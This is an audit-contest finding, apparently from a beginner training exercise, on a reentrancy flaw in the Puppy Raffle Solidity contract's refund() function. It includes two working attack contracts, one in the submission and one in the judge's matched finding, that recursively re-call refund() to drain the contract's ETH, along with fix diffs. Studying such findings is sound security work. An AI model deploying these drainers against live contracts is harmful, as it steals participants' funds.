Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`refund()` Sends ETH Before Clearing Player Slot — Reentrancy Drains All Contract Funds

h3xu

refund() Sends ETH Before Clearing Player Slot — Reentrancy Drains All Contract Funds

Description

PuppyRaffle allows participants to reclaim their entrance fee via refund(playerIndex). The function is designed to verify that the caller is an active player at playerIndex, send them back their entranceFee, and then remove them from the players array.

The vulnerability is a classic Check-Effects-Interactions (CEI) violation: payable(msg.sender).sendValue(entranceFee) is called at L101 before the player's slot is zeroed at L103. Because players[playerIndex] still holds the attacker's address at the time ETH is sent, a malicious contract's receive() function can recursively re-call refund() repeatedly, draining the entire contract balance before any player slot is cleared.

// @> Funds sent BEFORE state is cleared — CEI violation
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee); // ETH leaves the contract HERE
players[playerIndex] = address(0); // State cleared AFTER — too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

  • Any player who entered the raffle can trigger this attack immediately after depositing; there is no timelock or limit on the number of recursive calls.

  • The attack requires only one malicious contract entering the raffle with entranceFee worth of ETH — a trivially low barrier.

Impact: High

  • Every ETH in the PuppyRaffle contract is drainable in a single transaction, including entrance fees paid by all other honest participants.

  • All legitimate players lose their deposits; the raffle is rendered insolvent.

Severity: Critical

Proof of Concept

Deploy AttackRaffle with entranceFee ETH, call attack(), and observe the full contract balance transferred to the attacker in one transaction.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function entranceFee() external view returns (uint256);
function players(uint256) external view returns (address);
function getActivePlayerIndex(address player) external view returns (uint256);
}
​
contract AttackRaffle {
IPuppyRaffle public target;
uint256 public targetIndex;
​
constructor(address _target) {
target = IPuppyRaffle(_target);
}
​
function attack() external payable {
uint256 fee = target.entranceFee();
require(msg.value == fee, "send exactly entranceFee");
address[] memory me = new address[](1);
me[0] = address(this);
target.enterRaffle{value: fee}(me);
targetIndex = target.getActivePlayerIndex(address(this));
target.refund(targetIndex);
}
​
receive() external payable {
// Re-enter while players[targetIndex] still equals address(this)
if (address(target).balance >= target.entranceFee()) {
target.refund(targetIndex);
}
}
}

Expected result: AttackRaffle balance increases by N × entranceFee (entire contract), while PuppyRaffle.balance becomes 0.

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern: zero the player slot before sending ETH.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0); // Effects first
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee); // Interactions last
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

Alternatively, import OpenZeppelin's ReentrancyGuard and add the nonReentrant modifier as defense-in-depth. The CEI fix is preferred as the primary safeguard because nonReentrant alone does not eliminate the underlying ordering bug.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!